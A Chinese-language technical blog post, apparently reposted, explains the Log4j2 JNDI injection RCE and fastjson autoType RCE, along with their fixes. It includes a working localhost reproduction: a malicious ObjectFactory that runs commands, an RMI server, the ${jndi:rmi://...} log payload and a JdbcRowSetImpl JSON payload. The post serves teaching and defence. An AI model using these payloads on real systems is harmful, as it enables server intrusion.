远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里。如果远程代码执行的是一个死循环那服务器的CPU不得美滋滋了。
前段时间,JAVA 界的知名日志框架 Log4j2 发现了远程代码执行漏洞,漏洞风暴席卷各大公司,编程届异常火热(加班),我们是万万没想到那么牛逼的日志框架有BUG。
这次安全漏洞也有个小插曲,我司的员工发现了漏洞,上报了Apache没告知GXB,我司也受到了处罚,希望下次引以为戒,不过这事程序员不背锅,管理下次要反思下。
本次 Apache Log4j 远程代码执行漏洞,是由于组件存在 Java JNDI 注入漏洞:
当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
JNDI 是Java 命名和目录接口(Java Naming and Directory Interface,JNDI)的简称,从一开始就一直是 Java 2平台企业版的核心技术之一。
在JMS,JMail,JDBC,EJB等技术中,就大量应用的这种技术。
JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol 轻型目录访问协议)、 CORBA对象服务、文件系统、windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
JNDI 诞生的理由很简单:随着分布式应用的发展,远程访问对象访问成为常用的方法。虽然说通过Socket等编程手段仍然可实现远程通信,但按照模式的理论来说,仍是有其局限性的。
RMI技术,RMI-IIOP技术的产生,使远程对象的查找成为了技术焦点。JNDI技术就应运而生。JNDI技术产生后,就可方便的查找远程或是本地对象。
如下展示了JNDI的架构图。
为完成Bug的复现,我们需要简单的搭建一个RMI服务。
首先编写我们的攻击代码。此处攻击代码遍历指定目录下的文件,并将其输出到指定目录中。
攻击者可以获取无法服务器的任意目录结构,恐怖如斯~
public class BadCode implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("开始执行攻击");
String data = "HH,我来了";// 嚣张点
File file =new File("./badcode.txt");
//if file does not exists, then create it
if(!file.exists()){
file.createNewFile();
}
FileWriter fileWritter = new FileWriter(file.getName(),true);
fileWritter.write(data);
// 遍历服务器指定目录
List<String> command = new ArrayList<String>();
command.add("tree");
command.add("**");//指定一个目录
String outstring = null;
Process p = null;
try {
ProcessBuilder builder = new ProcessBuilder();
builder.command(command);
/**
* 将标准输入流和错误输入流合并,通过标准输入流程读取信息
*/
builder.redirectErrorStream(true);
p = builder.start();
outstring = waitFor(p);
fileWritter.write(outstring);
} catch (Exception ex) {
ex.printStackTrace();
}finally {
fileWritter.close();
p.destroy();
}
return obj;
}
public static String waitFor(Process p) {
InputStream in = null;
int exitValue = -1;
StringBuffer outputString = new StringBuffer();
try {
in = p.getInputStream();
final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in, "utf-8"));
boolean finished = false;
int maxRetry = 600;//每次休眠1秒,最长执行时间10分种
int retry = 0;
while (!finished) {
if (retry > maxRetry) {
return "error";
}
try {
String line="";
while ((line=bufferedReader.readLine())!=null) {
outputString.append(line+"n");
}
//进程未结束时调用exitValue将抛出异常
exitValue = p.exitValue();
finished = true;
} catch (IllegalThreadStateException e) {
Thread.sleep(1000);//休眠1秒
retry++;
}
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (in != null) {
try {
in.close();
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
}
return outputString.toString();
}
}
编写RMI服务并启动。
public class StartRMIserver {
public static void main(String[] args) throws Exception {
//服务端口1099
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("BadCode", "BadCode", "http://127.0.0.1:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("bad", wrapper);
System.out.println("RegistryServer is running");
}
}
打印如下日志复现Bug。
public class BugShow {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
//改动一些系统默认配置,让系统可以被攻击
System.setProperty("java.rmi.server.useCodebaseonly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//打印攻击日志
LOGGER.info("start attack:{}", "${jndi:rmi://127.0.0.1:1099/bad}");
}
}
如果一切顺利,你会发现服务器中生成了一个名为badcode.txt的文件,里面存储着指定目录下的所有文件目录。
所幸,各大安全团队迅速给出了如下解决方案(本质都一样),似乎是不使用LookUp就解决了。(终极方案是将log4j-core升级为2.16.0)
但是,乖,你不好奇吗?为什么不使用 LookUp 机制就修复了呢?
LookUps提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现 StrLookup 接口的特殊类型的插件,Log4j 提供了Date Lookup、Java LookUp、Jndi LookUp(罪魁祸首)等实现。
如下展示了Date LookUp和Java lookUp的使用。
public class App {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) throws Exception {
LOGGER.info("java.os:{}","${java:os}");
LOGGER.info("date:{}","${date:yyyy-MM-dd HH:mm:ss}");
}
}
JavaLookup 使用以 java: 为前缀的的预格式化字符串检索 Java 环境信息。
键 |
描述 |
version |
获取Java版本,比如Java version 1.8.0_312 |
runtime |
获取Java运行时版本,比如OpenJDK Runtime Environment (build 1.8.0_312-b07) from Azul Systems, Inc. |
vm |
获取虚拟机信息,比如OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode) |
os |
获取系统信息,比如mac OS X 11.3.1 unknown, architecture: aarch64-64 |
locale |
获取编码信息,比如default locale: zh_CN, platform encoding: UTF-8 |
hw |
获取硬件信息,比如processors: 8, architecture: aarch64-64 |
这也是此次漏洞的罪魁祸首!JndiLookup 允许通过 JNDI 检索变量。
默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含":"则不会添加前缀。
默认情况下,JDNI Lookup 仅支持 java、ldap 和 ldaps 协议或不支持协议,可以通过在
log4j2.allowedJndiProtocols 属性上指定它们来支持其他协议。
当使用 LDAP 时,出于安全原因,不支持实现 Referenceable 接口的 Java 类,默认情况下仅支持 Java 的基础类型以及 log4j2.allowedLdapClasses属性指定的任何类。
使用 LDAP 时,仅支持对本地主机名或 IP 地址的引用以及 log4j2.allowedLdapHosts 属性中列出的任何主机或 IP 地址。
通过 LookUp 机制,Log4j框架解析了${}中的内容,跟踪源码可以发现如下调用链,并且可以发现日志中${}内容的替换是在
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中完成的。
观察源码不难发现我们感兴趣的东西——noLookups和对${的查找。
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
// 获取原始的日志
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
查看StrSubstitutor类的
org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute方法,美滋滋的发现调用 resolveVariable 方法后获取到了解析的值。
resolveVariable 方法内部调用getVariableResolver()方法获取对应的值解析器,此次获取 JavaLookUp。继续追下去发现version的获取就是从系统环境变量中取得的。
读完源码不难得出结论:如果不让代码执行${}的解析不就行了,即不使用LookUp机制。
如下图表示了noLookUps的默认值。这也说明了为什么解决方案是增加JVM启动参数:
-Dlog4j2.formatMsgNoLookups=true。
为什么升级为2.15.0后Bug就修复了呢?因为在新版本中默认会使用
SimpleMessagePatternConverter,同时不使用 LookUp 机制。
如下图所示:
在Log4j2升级至 2.16.0 时我们天真的认为已经结束了,万万没想到,2.16.0 又爆出来新的 DOS 拒绝服务攻击漏洞(没完了不是)。
具体说来是,Apache Log4j2 的 2.0-alpha1 到 2.16.0 版本,均未能防止自引用查找的不受控递归。
当日志配置使用了带有上下文查找的非默认模式布局时(例如$${ctx:loginId}),控制线程上下文映射(MDC)数据输入的攻击者,便可制作一份包含递归查找的恶意输入数据,从而导致进程因堆栈溢出报错而被终止。
如果目前不方便升级版本的话,可以采用下面的两种方法来缓解此漏洞:
在日志配置的 PatternLayout 中,用 %X、%mdc 或 %MDC 来替换
或${ctx:loginId} 等Context Lookups
在使用外部数据(HTTP Header或用户输入等)的地方,删除对Context Lookups的引用(如
或${ctx:loginId} )
远程代码执行漏洞在业内还是比较多见的,除了此次的 Log4j 漏洞,我们再来看看其他工具的漏洞吧!
在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
关于漏洞的具体详情可参考:
https://github.com/alibaba/fastjson/wiki/security_update_20170315。
FastJson 提供 autoType 功能,在对JSON字符串进行反序列化的时候,会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。黑客可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。
常用的攻击类库是
com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/bad","autoCommit":true}
在 1.2.25 版本中 FastJson 新增了黑名单机制,如果@type中的类是黑名单中的则直接抛异常。
// 上面提到的 com.sun.rowset.JdbcRowSetImpl 就在黑名单中,即 com.sun.
private String[]
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
// 类名中只要包含了黑名单中的任何对象,直接抛异常,宁可错杀不可放过
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
......
}
如下展示了2018年收录漏洞按利用方式统计图与2020年CNVD漏洞产生原因图。
可见漏洞利用的攻击方式分为:本地攻击和远程攻击。
其中远程攻击占比约为89%,本地攻击约占11%,由此可见远程攻击是主要的漏洞攻击的手段,也是需要主要防范的漏洞攻击手段,并且大部分漏洞的产生原因都是设计错误导致的。(所以网络一片呼声希望高铁提供不使用 AutoType 的 FastJson,HH)
分析 Log4j2 的此次漏洞产生原因与修复方案是我们的一小步,希望各位都能写出没有bug的代码(厚颜无耻的说,我一直在写bug~_~)
____________________
< 神兽护体,永无bug! >
--------------------
^__^
(oo)_______
(__) )/
||----w |
|| ||
原文地址:
http:/.NETsecurity.51cto.com/art/202112/697355.htm
如果你觉的本文对你有帮助,麻烦点赞关注支持一下